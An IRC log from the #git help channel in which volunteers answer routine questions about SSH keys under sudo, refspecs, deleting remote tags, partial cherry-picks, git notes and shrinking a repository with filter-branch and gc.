rchavik_rchavik05:53
AnujSharma joined05:53
beneggett joined05:54
beneggett left05:54
netameta left05:54
neonixcoder joined05:55
msmith left05:56
makesoda joined05:56
ClarusCogitatio left05:57
BuenGenio joined05:57
svm_invictvs joined05:59
mlechner joined05:59
chs joined06:00
starkhalo left06:00
ClarusCogitatio joined06:00
makesoda left06:00
chschris1706:01
chris17chs06:01
joelm left06:02
vurma left06:03
Silmarilion joined06:03
zapb_ joined06:03
makesoda joined06:06
BuenGenio left06:06
BuenGenio_ joined06:06
makesoda left06:07
neonixcoder left06:08
Marcus_ joined06:08
axl_ left06:09
solution left06:10
nnyknnyk_06:10
LLaurent joined06:10
tranzfuse joined06:11
jagob joined06:11
lahwran left06:12
a_le joined06:12
refried_ left06:12
mennea left06:13
Kwpolska left06:13
Manny left06:13
Manny joined06:13
a_le left06:14
mennea joined06:14
a_le joined06:14
Macaveli joined06:14
BuenGenio_ left06:15
tranzfuse left06:15
papegaaij joined06:16
thiago left06:16
EminenceHC joined06:17
lahwran joined06:18
hoijui joined06:18
sinkensabe joined06:18
Neozonz joined06:19
lindenle joined06:19
rob_w joined06:19
mihaicris joined06:19
Akagi201 joined06:21
daito left06:21
jarr0dsz left06:21
evil-twin joined06:22
ghostlines joined06:22
roelmonnens joined06:22
EminenceHC left06:22
lindenle left06:23
bvi joined06:24
Neozonz left06:24
ghostlines left06:27
DrSkyLizard left06:27
LLaurent left06:27
clauswitt joined06:27
mihaicris left06:30
P4_Denis joined06:31
Gizburdt joined06:31
intellix joined06:32
Gizburdt left06:32
jnavila joined06:32
paulweb515 left06:34
P4_Denis left06:35
Akagi201 left06:35
Akagi201 joined06:35
fr33domlover joined06:37
kristofferR left06:37
daito joined06:37
vocifer joined06:37
BlaXpirit joined06:38
lacrymology joined06:38
PinkSpecs left06:39
kriks joined06:40
dgpalmer joined06:40
axl_ joined06:40
justinmburrous left06:40
justinmburrous joined06:41
robertodecurnex left06:42
dgpalmer left06:42
mennea left06:43
lugub joined06:43
solker_ joined06:43
lugubGuest5130806:43
mennea joined06:44
Guest51308 left06:44
rchavik_ joined06:44
dreiss joined06:45
FunkyAss left06:46
jiskiras left06:46
rchavik left06:47
paulweb515 joined06:48
justinmburrous left06:49
a_le left06:49
boucman_work joined06:49
jargon joined06:49
FunkyAss joined06:51
justinmburrous joined06:52
Advocation joined06:52
msmith joined06:52
jottr_ joined06:55
makesoda joined06:55
User458764 joined06:55
Vile joined06:55
maestrojed left06:56
makesoda left06:56
evil-twin left06:57
nkouevda left06:57
Error404NotFound joined06:57
Error404NotFound left06:57
Error404NotFound joined06:57
msmith left06:57
Goplat left06:58
Malsasa_Malsasa06:58
gua_ould joined06:59
fr33domlover left06:59
fr33domlover joined06:59
Idealien joined07:00
clauswitt left07:02
Trudko joined07:03
clauswitt joined07:03
cbr_ joined07:03
evil-twin joined07:04
phantombeta left07:07
jdmf joined07:08
sinkensabe left07:09
FunkyAss left07:09
Vile left07:10
kcm1700_ left07:10
kcm1700 joined07:10
Fissure1 joined07:11
Fissure left07:11
tranzfuse joined07:12
c74d joined07:12
evildmp joined07:13
jontmorehouse left07:13
ghostlines joined07:13
sdrfnord1 joined07:13
mennea left07:13
mennea joined07:14
Idealien I'm having an issue with git clone requiring password on a new server instead of using ssh key. ssh -t works with the keys to my repo (gitolite based). I've checked .ssh is chmod 700 and the files inside are 600. What else might be the id10T error that I'm forgetting?07:14
boucman_work left07:15
Raging_Hog joined07:15
seschwar joined07:15
tranzfuse left07:16
petersr joined07:17
osse Idealien: what url are you using?07:17
Idealien sudo git clone --mirror git@privategitrepourl:projectname /srv/www/pathtoproject07:18
ssh -t git@privategitrepourl returns a list of my projects (both on old prod which does git as a part of capistrano and new prod that I'm setting up in same way)07:19
cvanball joined07:19
Advocation left07:20
osse Idealien: the sudo ruins it07:20
Idealien: My guess is sudo ssh -t won't work either07:20
EminenceHC joined07:20
GGflags joined07:20
encod3 joined07:21
diegoaguilar joined07:22
Embassy joined07:22
TomyWork joined07:22
NoNMaDDeN left07:22
polyzen left07:22
justinmburrous left07:22
NoNMaDDeN joined07:23
Idealien *gah* seriously? Ok that helps. Now I guess tell ansible which commands to use sudo vs not. Thanks!07:23
jottr_ left07:23
LeMike joined07:24
bezet joined07:24
osse Idealien: sudo runs a program with priviliges. Your own ~/.ssh isn't relevant at that point07:24
LeMike left07:24
nnyk_ left07:24
EminenceHC left07:25
stiffi left07:25
User458764 left07:25
encod3 left07:26
GGflags left07:26
Idealien Makes enough sense (at 3:30AM) that I'll believe you. Thanks osse!07:26
dreiss left07:26
Idealien That and testing manual command actually validates what you say.07:26
awkwardusername joined07:26
osse Idealien: I'd say that what makes most sense is for the Ansible user to be allowed to write to /srv/www07:27
But I don't know.07:27
bezet left07:28
jonalmeida left07:28
epta Is there .gitconfig option to do blame with space-ignoring automatically?07:28
smth like adding '-w' to the 'git blame' all the time07:28
Trudko Guzs can I remove tags by commit hash?07:28
jonalmeida joined07:29
LeMike joined07:29
osse Trudko: have you tried?07:29
justinmburrous joined07:30
osse git for-each-ref 'refs/tags/*' | grep hash07:31
FunkyAss joined07:32
shigosei joined07:32
Vile joined07:32
Trudko that finds tag by hash07:33
Gizburdt joined07:33
mkaesz joined07:33
osse correct07:33
svm_invictvs left07:34
msankhala joined07:34
granden I have a clone/checkout a repository before it existed a second branch in it, and now I would like to push my changes to the development branch instead of the the master branch that I got checked out, is this possible?07:34
osse granden: git push origin master:development07:34
BlaXpirit left07:35
Trudko osse: i want to to delete tag by has not find its hash07:35
PinkSpecs joined07:35
osse Trudko: you cannot delete by hash; you need to know its name07:35
Trudko: my command will help you find the name07:35
dangerousdave joined07:35
Trudko ok cool i knew its name07:36
btw how do overite remote tags with local tags, so whatever tags are not local will be deleted on remote_07:36
granden osse: So master is my local branch and the part after : is the branch in the git-repo?07:37
wise joined07:37
osse granden: yes07:37
granden: git push origin master is a shortcut for git push origin master:master07:38
Dreadnaught left07:38
wise I don't care about my branch, I want to start a new branch from master, but anything I do tells me I need to resolve a merge of a file I deleted07:38
granden using sourcetree trying to figure out how to do it in there :)07:38
wise how do I get rid of this merge error?07:38
osse wise: git merge --abort most likely07:38
gua_ould left07:39
Idealien left07:39
osse granden: that thing is called a "refspec". look for that buzzword07:39
Gizburdt left07:39
wise thx osse07:40
encod3 joined07:41
Novitsh_ joined07:41
teran joined07:41
jontmorehouse joined07:42
mennea left07:43
numdig joined07:43
acolson joined07:43
nilg` left07:43
mennea joined07:44
marthinal joined07:44
Gizburdt joined07:44
Macaveli left07:45
osfe_ joined07:45
osfe left07:45
aswen joined07:45
osfe_ left07:45
Macaveli joined07:45
osfe joined07:46
psoo joined07:46
alorence joined07:46
UmbraMalison left07:47
jargon left07:47
paulweb515 left07:47
jontmorehouse left07:48
Sonderblade joined07:48
Sonderblade left07:49
Vivekananda_y510 joined07:49
aswen left07:49
aswen joined07:49
jottr_ joined07:49
jordanm left07:50
emrox joined07:50
numdig left07:51
dangerousdave left07:52
sitology left07:52
jargon joined07:52
teran left07:52
msmith joined07:53
sgen joined07:54
stangeland joined07:54
fairuz left07:54
gua_ould joined07:54
leprechau joined07:55
jottr_ left07:56
mithenks joined07:57
emrox_ joined07:57
emrox_ left07:57
emrox_ joined07:58
emrox_ left07:58
jalmeida joined07:58
msmith left07:58
sgen left07:58
LeMike left07:58
sgen_ joined07:58
emrox_ joined07:58
emrox left07:59
jordanm joined08:00
jordanm left08:00
jordanm joined08:00
DTSCode left08:00
yaymukund left08:00
msankhala left08:00
justinmburrous left08:01
numdig joined08:01
mikecmpbll joined08:01
clauswitt left08:01
jonalmeida left08:01
sebastian_ joined08:02
clauswitt joined08:03
deavid left08:03
diegoaguilar left08:04
jenni_naiaretti joined08:04
teran joined08:04
robarelli joined08:08
justinmburrous joined08:09
WormDr1nk left08:09
awkwardusername left08:09
lb1a joined08:09
robarelli left08:09
pantsman- joined08:11
jitendravyas joined08:11
mnavratil joined08:12
psoo left08:12
psoo joined08:12
tranzfuse joined08:13
mennea left08:13
Manny left08:13
Manny joined08:13
ncd|leeN joined08:13
mennea joined08:14
paulweb515 joined08:14
seanmerron joined08:15
Dudi joined08:15
dangerousdave joined08:16
Advocation joined08:17
tranzfuse left08:17
beautifulmind joined08:18
Advocation left08:19
nnyk_ joined08:20
lindenle joined08:21
numdig left08:21
Gizburdt left08:22
evildmp left08:23
sinkensabe joined08:23
Embassy left08:24
numdig joined08:24
rchavik_ left08:25
lindenle left08:25
rishabh_ joined08:25
bezet joined08:25
EminenceHC joined08:26
dangerousdave left08:26
Advocation joined08:26
ockham joined08:26
rath joined08:26
fairuz1 joined08:27
mnml joined08:27
Embassy joined08:27
Advocation left08:28
jargon left08:29
AnujSharma left08:29
akiva left08:30
rchavik_ joined08:30
dragoonis joined08:30
EminenceHC left08:30
djoularef joined08:30
jargon joined08:30
spareproject joined08:31
P4_Denis joined08:31
Dudi left08:32
Gizburdt joined08:33
gitinfo set mode: +v08:33
msankhala joined08:33
djoularef sorry for offtopic but can someone advise a Test Case Management Software in the cloud ?08:34
preferably free08:34
jast I don't have anything to recommend, but I guess in any case it'd be helpfult o know what exactly you want to manage08:35
WormDr1nk joined08:35
djoularef I want to manage test cases08:35
tvw joined08:35
tpollard left08:36
djoularef the most important it should include different browsers and OS08:36
P4_Denis left08:36
lrvick joined08:36
doev joined08:36
jast so you're asking about test cases for web development specifically?08:36
jontmorehouse joined08:36
djoularef I mean a tool that can simplify writing tests08:37
yes08:37
jast that's almost certainly relevant for finding a good tool ;)08:37
yaymukund joined08:37
lrvick So I want to use sudo as part of a post-receive hook. Is there a way to do this where the sudo password prompt can be forwarded over ssh to my local term?08:37
hidekin joined08:37
lrvick currently now I get : remote: sudo: no tty present and no askpass program specified08:37
even if i disable requiretty in sudo, i don't know how to forward askpass08:38
jordanm left08:38
petersr left08:38
jast it would conceivably be possible to write an askpass program that asks for the password on STDIN instead of via the terminal08:39
Embassy left08:39
jast but then still git expects its own protocol data, not random prompts for passwords08:39
justinmburrous left08:39
jontmorehouse left08:41
mustafavelioglu_ joined08:42
lrvick hmmmm08:42
rchavik_ left08:42
moritzs joined08:43
jast there's also x11 forwarding, but that'd require an X server running on the remote machine08:43
jordanm joined08:43
jordanm left08:43
jordanm joined08:43
jast you can probably make it work somehow, but think about whether it's really worth the effort08:43
mennea left08:43
lrvick yeaaah, also ill need commands besides git08:43
im thinking this will need to be like provisor08:43
a deploy.sh script08:43
with a sudo pinhole08:43
then i cna run very explict commands, and it takes no arguments08:44
mennea joined08:44
dangerousdave joined08:45
lrvick so an attacker would need access to a sudo user, the ability to modify code on github to exploit this.08:45
then they could push bad code to production08:45
bu if they have acess to both the github master and a sudo user, we have bigger problems08:45
pierre1_ joined08:45
lrvick I might remove everyone from owners that does not use two step auth08:46
well actually there is no direct github connection08:46
but yeah this would in effect allow anyone with sudo to write any file to / they want, without a password.08:47
yeaaaaah. thats bad08:47
gitty_1 left08:47
fairuz1 left08:47
numdig left08:48
lrvick Sorry </wall of text>08:48
JCOLE joined08:49
joki left08:50
dsdeiz_ joined08:51
jatt joined08:51
jatt left08:51
jatt joined08:51
jordanm left08:52
dsdeiz left08:52
jordanm joined08:52
Guest46296 joined08:53
msmith joined08:54
xolubi joined08:54
joki joined08:55
kopparam joined08:55
Suchit_ joined08:56
nfk left08:58
msmith left08:59
DrSkyLizard joined08:59
vtunka joined09:01
punchagan left09:01
Suchit_ left09:01
evildmp joined09:02
Suchit_ joined09:02
vocifer_ joined09:02
djoularef left09:02
vocifer left09:03
emrox_ left09:03
JCOLE left09:03
ag4ve left09:04
justinmburrous joined09:04
emrox joined09:04
Suchit_ left09:04
jatt left09:04
King_Hual joined09:05
rchavik joined09:05
jordanm left09:05
BlaXpirit joined09:06
jordanm joined09:06
jordanm left09:06
jordanm joined09:06
jitendravyas left09:06
vocifer__ joined09:08
vocifer_ left09:08
robarelli joined09:09
harish left09:10
flughafen joined09:10
flughafen is it possible to pick a small change to a file in a commit of changes to multiple files?09:13
mennea left09:13
robarelli left09:14
mennea joined09:14
Reb_Sadran joined09:14
tranzfuse joined09:15
punchagan joined09:15
kerrick left09:15
cherwin joined09:16
osse flughafen: you can git cherry-pick --no-commit then clean up the other files before committing09:17
stamina joined09:17
osse flughafen: or you can git diff commit~1 commit -- path/to/file | patch -p109:17
flughafen thanks osse09:18
lukeholder left09:19
kyb3r_ left09:19
tranzfuse left09:20
cherwin left09:20
osse you're welcome to some extent09:21
Juzzika joined09:21
Juzzika left09:22
mhi^ joined09:22
dangerousdave left09:23
cherwin joined09:24
cherwin left09:24
cherwin joined09:24
javster left09:26
mustafavelioglu_ left09:26
teran left09:26
EminenceHC joined09:27
Suchit_ joined09:27
Malsasa left09:27
Suchit_ left09:28
phantombeta joined09:29
juvenal left09:30
zanchoPa1sa joined09:30
jontmorehouse joined09:31
Juzzika joined09:31
EminenceHC left09:31
eburcat left09:31
eburcat joined09:32
deavid joined09:32
zhangxaochen__ left09:33
zhangxaochen__ joined09:33
zanchoPansa left09:34
BlaXpirit left09:34
justinmburrous left09:34
pantsman- left09:35
vurma joined09:36
joo-_ joined09:36
jontmorehouse left09:36
zhangxaochen__ left09:37
carandraug joined09:37
BSaboia left09:39
zhangxaochen__ joined09:39
Hounddog joined09:41
dharrigan left09:41
jontmorehouse joined09:44
kcj left09:45
DrSkyLizard left09:45
cek left09:47
justinmburrous joined09:48
jontmorehouse left09:49
hoijui left09:50
Juzzika left09:50
Warrior-kkk left09:51
lacrymology left09:51
beautifulmind left09:52
Warrior-kk joined09:52
stangeland left09:53
BSaboia joined09:53
eburcat left09:54
mennea left09:54
eburcat joined09:55
msmith joined09:55
mennea joined09:55
beautifulmind joined09:55
jagob left09:56
zhangxaochen__ left09:56
Akagi201 left09:57
mustafavelioglu_ joined09:57
Akagi201 joined09:57
zhangxaochen__ joined09:58
mustafavelioglu_ left09:59
mustafavelioglu_ joined09:59
msmith left09:59
Neozonz joined10:00
Neozonz left10:00
Neozonz joined10:00
eburcat left10:01
eburcat joined10:01
mustafavelioglu_ left10:03
cbreak flughafen: or you can git checkout -p commit -- file10:03
MattMaker left10:03
listochkin joined10:04
MattMaker joined10:04
User458764 joined10:04
flughafen thanks10:04
Neozonz left10:04
Sendoushi joined10:04
teran joined10:05
muep left10:07
muep joined10:07
muep left10:07
nikita left10:07
johtso joined10:08
Gizburdt left10:09
listochkin left10:09
nikita joined10:09
robarelli joined10:10
jagob joined10:11
osse hmm, right10:11
the diff may be a bit different though.10:12
muep joined10:12
teran left10:12
Manny left10:13
israelpattison left10:13
Manny joined10:13
Juzzika joined10:14
israelpattison joined10:14
ThomasLocke left10:14
robarelli left10:15
cbreak yes.10:15
the difference is between changes-from-parent and changes-from-this10:15
tranzfuse joined10:16
mkaesz left10:16
Pessimist joined10:17
zhangxaochen__ left10:17
lacrymology joined10:17
Pessimist How to remove the last commit but make the changes remain?10:17
osse Pessimist: git reset HEAD~110:17
zhangxaochen__ joined10:17
Pessimist osse, thanks10:18
justinmburrous left10:19
harish joined10:19
tranzfuse left10:20
nfk joined10:21
lindenle joined10:22
intellix left10:22
jenni_naiaretti left10:22
Juzzika left10:23
mennea left10:23
Hounddog left10:23
leprechau left10:24
jordanm left10:24
leprechau joined10:24
daito left10:25
jenni_naiaretti joined10:25
jontmorehouse joined10:26
lindenle left10:26
wentasah left10:27
chiemseesurfer joined10:27
dangerousdave joined10:28
kukks joined10:29
numdig joined10:30
angelsl joined10:31
jontmorehouse left10:31
P4_Denis joined10:32
ciampix joined10:32
EminenceHC joined10:32
doev left10:32
alexwhitman left10:32
PinkSpecs left10:34
PinkSpecs joined10:35
PinkSpecs left10:36
Manny left10:36
P4_Denis left10:36
EminenceHC left10:37
zhangxaochen__ left10:37
Malsasa joined10:37
zhangxaochen__ joined10:37
mustafavelioglu_ joined10:38
clauswitt left10:38
Manny joined10:39
stamina left10:40
moritzs left10:41
listochkin joined10:41
Gizburdt joined10:42
amcsi_work joined10:43
VBlizzard joined10:44
mkaesz joined10:48
teran joined10:49
teran_ joined10:50
CheckDavid joined10:51
dangerousdave left10:51
joo-_ left10:52
dangerousdave joined10:52
teran left10:53
FofG joined10:54
mizu_no_oto joined10:55
msmith joined10:56
Skapadapaduu joined10:57
dort joined10:57
zhangxaochen__ left10:57
zhangxaochen__ joined10:58
cagedwisdom left10:58
joo-_ joined10:59
msmith left11:00
doev joined11:02
Musok joined11:02
chris17 joined11:02
chris17 left11:02
chris17 joined11:02
clauswitt joined11:03
chs left11:04
justinmburrous joined11:05
tobiasvl !porcelain11:06
hmm11:06
teran joined11:06
Sendoushi left11:07
canton7 !bot11:07
gitinfo [!gitinfo] I am an IRC bot which responds to certain keywords to provide helpful(?) information to humans. Please see http://jk.gs/git/bot for more information about how to use me.11:07
Mitchbones joined11:09
Kicer86 joined11:09
Trudko guys I somehow pushed tag on remote with value refs/tags/+.1.21.Ã0 (I used git ls-remote --tags) problem is that I want to delete the tag but git push --delete origin +.1.21.Ã0 says error: unable to delete '+.1.21.Ã0': remote ref does not exist11:09
teran_ left11:10
mennea joined11:10
robarelli joined11:10
awkwardusername joined11:11
clauswitt left11:12
awkwardusername left11:12
awkwardusername joined11:12
Turicas left11:13
yaymukund left11:13
beautifulmind left11:13
ajf- joined11:14
bAnt joined11:14
dangerousdave left11:14
robarelli left11:15
subhojit777 left11:16
dangerousdave joined11:16
tranzfuse joined11:17
ciampix left11:18
doev left11:19
mkaesz left11:19
jontmorehouse joined11:20
govg left11:21
tranzfuse left11:22
tokik left11:22
dragoonis left11:24
logix812 joined11:24
logix812 left11:24
punchagan1 joined11:25
joo-_ left11:25
jontmorehouse left11:25
ralu joined11:27
punchagan left11:28
lsiv568 joined11:28
ghostlines left11:29
toothrot joined11:30
intellix joined11:30
clauswitt joined11:31
clauswitt left11:31
emrox left11:31
ghostlines joined11:31
mnml left11:31
clauswitt joined11:31
ajf- left11:31
ajf- joined11:32
ajf- Howdy11:32
punchagan1 left11:32
ajf- Someone deleted my .git directory on the remote server, and merged everything into a larger project. I've been working on my module this whole time and I have a local environment setup so I don't need to clone the complete project tree.11:33
What can I do ?11:33
punchagan joined11:33
Juzzika joined11:33
sqrrl i've forked another repo and made some progress on my origin:master, and now i want to push it to up upstream:branch. but some progress was made on upstream:master as well. will upstream:branch have that progress? should i merge upstream:master into my origin:master first?11:33
ajf- Is there a way I can keep working on my own project tree without adding a submodule11:33
FofG left11:34
joo-_ joined11:34
beautifulmind joined11:35
beautifulmind left11:35
EminenceHC joined11:35
spareproject_ joined11:36
justinmburrous left11:36
aswen left11:36
spareproject left11:36
mechanicalduck joined11:37
mechanicalduck left11:37
mishunika joined11:39
mennea left11:39
codeman_ joined11:39
NoNMaDDeN left11:39
lsiv568 left11:40
codeman joined11:40
mennea joined11:40
evildmp left11:40
EminenceHC left11:40
d10n-work joined11:41
Kwpolska joined11:41
mechanicalduck joined11:41
emrox joined11:42
starkhalo joined11:43
solution joined11:44
lsiv568 joined11:44
jottr_ joined11:44
paulweb515 left11:46
xolubi left11:46
listochkin left11:47
Musok left11:47
encod3 left11:48
fairuz joined11:49
teran_ joined11:50
teran left11:52
justinmburrous joined11:53
aswen joined11:54
marklite left11:56
msmith joined11:56
juvenal joined11:57
dragoonis joined11:57
netcarver joined11:57
amcsi_work left11:57
pandeiro joined11:57
tristanp joined11:59
x0s_ joined11:59
fstd left12:00
ghostlines left12:00
fstd joined12:00
dort left12:00
msmith left12:01
[w_w] joined12:01
ThomasLocke joined12:02
ghostlines joined12:02
dangerousdave left12:03
cannonball joined12:03
Roots47 joined12:03
[w_w] I have cloned the linux source with --depth=1. I would now like to clone the past history to a certain kernel version. Is this possible? how?12:03
I am interested in finding when a specific file was added.12:04
grawity you can fetch --depth=1000, or something such, but it only lets you specify the number of commits12:04
(personally I'd just say get the _whole_ history, it's not that large)12:04
dangerousdave joined12:04
glebihan left12:04
[w_w] can I look up tags that i have not cloned?12:04
grawity only using `git ls-remote` to query the server12:04
[w_w] My 3g connection is very slow... so i'd prefer not to do that...12:05
grawity (or by fetching them individually)12:05
then find some place that offers good connection, like a library :D12:05
which file are you looking for?12:05
Gizburdt left12:05
gua_ould left12:06
evildmp joined12:06
spareproject_ left12:06
grawity you could also https://git.kernel.org/linus/ → "tree" → find your file → "log"12:06
[w_w] nice!12:06
grawity (I don't think that site follows file renames though)12:07
jenni_naiaretti left12:07
[w_w] I'm looking for the linux/drivers/net/can/usb/gs_usb.c twas never renamed12:07
grawity http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/log/drivers/net/can/usb/gs_usb.c https://kernel.googlesource.com/pub/scm/linux/kernel/git/torvalds/linux/+log/master/drivers/net/can/usb/gs_usb.c12:08
glebihan joined12:09
zumba_addict left12:09
toothrot left12:09
mennea left12:09
mennea joined12:10
tmcmahon joined12:10
martinklepsch joined12:10
angico left12:11
robarelli joined12:11
mustafavelioglu_ left12:11
mustafavelioglu_ joined12:13
xobb joined12:13
codeman_ left12:13
Manny left12:13
Manny joined12:13
tokik joined12:14
ThomasLocke left12:14
jontmorehouse joined12:14
squeakytoy joined12:14
squeakytoy Hey all cool kids. Quick question. Is it possible to add some kind of a meta data on a commit?12:15
tobiasvl squeakytoy: what do you want to add?12:15
squeakytoy i am just thinking loud12:15
tobiasvl squeakytoy: man git-notes12:15
gitinfo squeakytoy: the git-notes manpage is available at http://jk.gs/git-notes.html12:15
tobiasvl for example12:15
robarelli left12:15
osse you can add your name, a date, and a message12:15
tobiasvl depends what you want to add though12:15
osse and your email12:15
squeakytoy but.. maybe a sign-off note? without actually recreating the commit12:16
hexagoxel joined12:16
tobiasvl yep, the things osse listed are the things you have to add12:16
sqrrl left12:17
osse squeakytoy: no, that's impossibru12:17
squeakytoy so you cant add any meta data to a commit?12:17
tobiasvl signing off a commit changes the commit12:17
squeakytoy any freetext or something12:17
tobiasvl squeakytoy: did you look at man git-notes?12:17
osse squeakytoy: yes, in the message12:17
gitinfo squeakytoy: the git-notes manpage is available at http://jk.gs/git-notes.html12:17
tmcmahon left12:17
sqrrl joined12:18
tobiasvl seems to match your vague needs12:18
BuenGenio joined12:18
Gizburdt joined12:18
squeakytoy tobiasvl, no, not yet. people still messaging here, so i havent had time :-)12:18
BuenGenio left12:18
tobiasvl ok, go read it and _then_ come back asking for other solutions12:19
jontmorehouse left12:19
mennea left12:20
encod3 joined12:22
lindenle joined12:24
justinmburrous left12:24
Err404NotFound joined12:26
Error404NotFound left12:26
moritzs joined12:26
encod3 left12:27
rchavik left12:28
lindenle left12:29
dangerousdave left12:29
palcu left12:30
Trudko guys I somehow pushed tag on remote with value refs/tags/+.1.21.Ã0 (I used git ls-remote --tags) problem is that I want to delete the tag but git push --delete origin +.1.21.Ã0 says error: unable to delete '+.1.21.Ã0': remote ref does not exist12:30
TeraJL joined12:30
palcu joined12:30
mlechner left12:31
xobb left12:31
grawity Trudko: try --delete refs/tags/+.1.21.Ã012:31
TeraJL hi there, i have a ~400MB pack file on .git/objects/pack is this normal? the project is only ~14MB in size, is there any way to reduce the size?12:31
osse TeraJL: git gc --aggressive12:31
wakd_ joined12:32
phantombeta left12:32
dangerousdave joined12:32
gmb2020 joined12:32
P4_Denis joined12:32
rwbg TeraJL: git gc --aggressive --prune=now12:32
TeraJL i did it osse i only get around 1mb free12:32
osse TeraJL: did you commit Schindler's List in FullHD and then delete it again?12:33
marklite joined12:34
osse if you committed some mhuge files and deleted them again they will still be part of the repo12:34
Gregoire_ joined12:34
wakd left12:34
gitinfo set mode: +v12:34
chris17 left12:34
Gregoire_ Hello, do you know when msysgit will release 2.x version ?12:35
palcu left12:35
TeraJL osse: i don't remember of any huge file in there.. is there any way to list them and maybe delete it?12:36
fairuz left12:36
rchavik joined12:36
osse TeraJL: I don't know of a good way12:37
TeraJL: http://stackoverflow.com/questions/10622179/how-to-find-identify-large-files-commits-in-git-history12:37
P4_Denis left12:37
decompiled joined12:38
dccc_ joined12:39
sebastian_ left12:40
bezet left12:41
Gregoire_ Hello, do you know when msysgit will release 2.x version ?12:41
sebastian__ joined12:42
DARSCODE left12:42
decompiled left12:43
dort joined12:43
mustafavelioglu_ left12:43
decompiled joined12:43
paulweb515 joined12:43
JeanCarloMachado joined12:44
Gizburdt left12:44
phantombeta joined12:44
decompiled left12:45
TeraJL osse: you are right, there as old folder full of images (this git has a script to improve images, and someone sent the temporary folder and deleted it), but i can't seem to find a way to delete that folder from history12:45
osse man git-filter-branch12:45
gitinfo the git-filter-branch manpage is available at http://jk.gs/git-filter-branch.html12:45
osse See "Checklist for Shrinking a Repository"12:45
phantombeta left12:46
osse although !rewrite12:46
gitinfo Rewriting public history is not recommended. Everyone who has pulled the old history have to do work (and you'll have to tell them to), so it's infinitely better to just move on. If you must, you can use `git push -f <remote> <branch>` to force (and the remote may reject that, anyway). See http://goo.gl/waqum12:46
TeraJL thanks osse :) i'll check it out12:46
CheckDavid left12:47
javster joined12:47
ni__ joined12:48
Reb_Sadran left12:49
dangerousdave left12:49
paulweb515 left12:50
phantombeta joined12:50
dort left12:50
EminenceHC joined12:51
KrunchyAl left12:52
Malsasa left12:52
dort joined12:52
wakd_ left12:53
paulweb515 joined12:53
lsiv568 left12:53
hcc23 joined12:54
wakd joined12:54
ni__ left12:54
jagob left12:55
dsdeiz_ left12:55
mizu_no_oto left12:55
bgerber joined12:55
EminenceHC left12:55
Vile left12:56
Malsasa joined12:56
ni__ joined12:56
cherwin left12:57
kdlv joined12:57
snuffeluffegus joined12:58
lsiv568 joined12:58
_Vi joined12:59
Malsasa_ joined13:00
dort left13:00
Malsasa left13:00
dort joined13:01
mustafavelioglu_ joined13:02
jenni_naiaretti joined13:04
jack_orange left13:04
kdlv left13:04
kdlv joined13:04
iamjarvo joined13:05
xolubi joined13:05
ni__ left13:05
netcarver left13:05
ni__ joined13:05
mscook joined13:06
zumba_addict joined13:06
zivester joined13:07
javster left13:07
iamjarvo left13:07
marthinal left13:08
fr33domlover left13:08
justinmburrous joined13:08
jontmorehouse joined13:08
tranzfuse joined13:08
javster joined13:08
TeraJL i've ran this script http://stubbisms.wordpress.com/2009/07/10/git-script-to-show-largest-pack-objects-and-trim-your-waist-line/ (second block) and i've found that i have lot of big files on "tmp/users/...." and that folder is deleted, so i've ran "git filter-branch --tree-filter 'rm -rf tmp/users' HEAD" and then "rm -rf .git/refs/original/ && git reflog expire --all && git gc --aggressive --prune" but size keeps the same and if i run t13:09
danemacmillan joined13:09
ralu hot can i rebase one detach repo/dag on top of another?13:09
dort left13:09
ni__ left13:10
ralu i just wan to cat two dags at some commit13:10
dort joined13:10
_ikke_ use grafts13:10
kikimeter joined13:10
cherwin joined13:11
ojacobson assuming you already know why you want to use rebase and not replace or graft, then --root is your friend too13:11
kikimeter left13:11
osse TeraJL: do you have any tags?13:11
or other branches?13:11
you probably want git filter-branch ... -- --all at least13:12
TeraJL osse: no, only master13:12
Gizburdt joined13:12
osse ah13:12
lindenle joined13:12
robarelli joined13:12
liamkeily joined13:13
jontmorehouse left13:14
mscook left13:14
ecky--ptang-zoob left13:14
ojacobson left13:15
osse TeraJL: git reflog expore --all --expire=now && git gc --aggressive --prune=now13:15
TeraJL: without 'now' the default is two weeks13:15
ecky--ptang-zoob joined13:15
Sebtoast joined13:15
spareproject joined13:16
robarelli left13:16
mscook_ joined13:18
TeraJL osse: still no luck :/13:20
DARSCODE joined13:20
mizu_no_oto joined13:20
cherwin left13:20
jagob joined13:21
cherwin joined13:21
lsiv568 left13:22
lsiv568 joined13:23
studmuf joined13:24
ctgriffiths joined13:25
tanath left13:25
xSmurf left13:25
Segfault_ left13:25
moparsthbest left13:25
skorgon left13:25
moparisthebest joined13:25
acharlieh left13:25
skorgon joined13:25
Segfault_ joined13:26
tanath joined13:26
User458764 left13:26
Err404NotFound left13:27
angico joined13:27
Gregoire_ :)13:29
osse TeraJL: go to a temprary dir and try to clone it13:29
nikita left13:29
osse TeraJL: git clone --local /path/to/place. Is the clone smaller?13:30
zumba_ad_ joined13:30
kukks left13:30
eliasr joined13:30
zumba_addict left13:31
osse TeraJL: oooooooooooh, did you try with --all like I said? What's probably happened is that master is rewritten by not origin/master13:31
TeraJL: in which case the clone will reveal that13:31
*but not origin/master13:31
jerius joined13:32
nikita joined13:32
sword`` left13:33
sword`` joined13:33
autochthon joined13:33
jottr_ left13:33
KnightsOfNi joined13:34
ecky--ptang-zoob left13:34
rishabh_ left13:34
squeakytoy left13:34
zumba_ad_ left13:34
zumba_addict joined13:34
mennea joined13:35
Trudko grawity: sorry just noticed your response well i tried git push --delete origin refs/tags/+.1.21.Ã0 and ouput is http://pastie.org/961389213:36
kermit left13:37
nettoweb joined13:37
justinmburrous left13:38
kermit joined13:38
lacrymology left13:39
zhangxaochen__ left13:39
m0ltar joined13:39
Trudko grawity: ok found the problem13:39
zhangxaochen__ joined13:39
xSmurf joined13:40
TeraJL osse: i can't seem to make --all work :/ tried "git filter-branch --index-filter 'git rm --ignore-unmatch --cached -rf appuro/users/*' --all HEAD" and "git filter-branch --index-filter 'git rm --ignore-unmatch --cached -rf appuro/users/*' --all"13:40
intellix left13:41
osse TeraJL: get rid of HEAD, add -- in front of --all13:41
TeraJL: and --all is not valid git rm, so get rid of that13:42
zumba_addict left13:42
Pyrogerg left13:42
osse oh, never mind, I misread13:42
zumba_addict joined13:42
dangerousdave joined13:42
tinanoo joined13:42
BSaboia left13:43
m0ltar left13:44
solker_ left13:44
Malsasa_Malsasa13:44
mustmodify joined13:44
mustmodify Hello team #git13:44
fr33domlover joined13:45
NoNMaDDeN joined13:45
mustafavelioglu_ left13:45
marklite left13:46
AnujSharma joined13:46
AnujSharma left13:46
User458764 joined13:46
spareproject left13:46
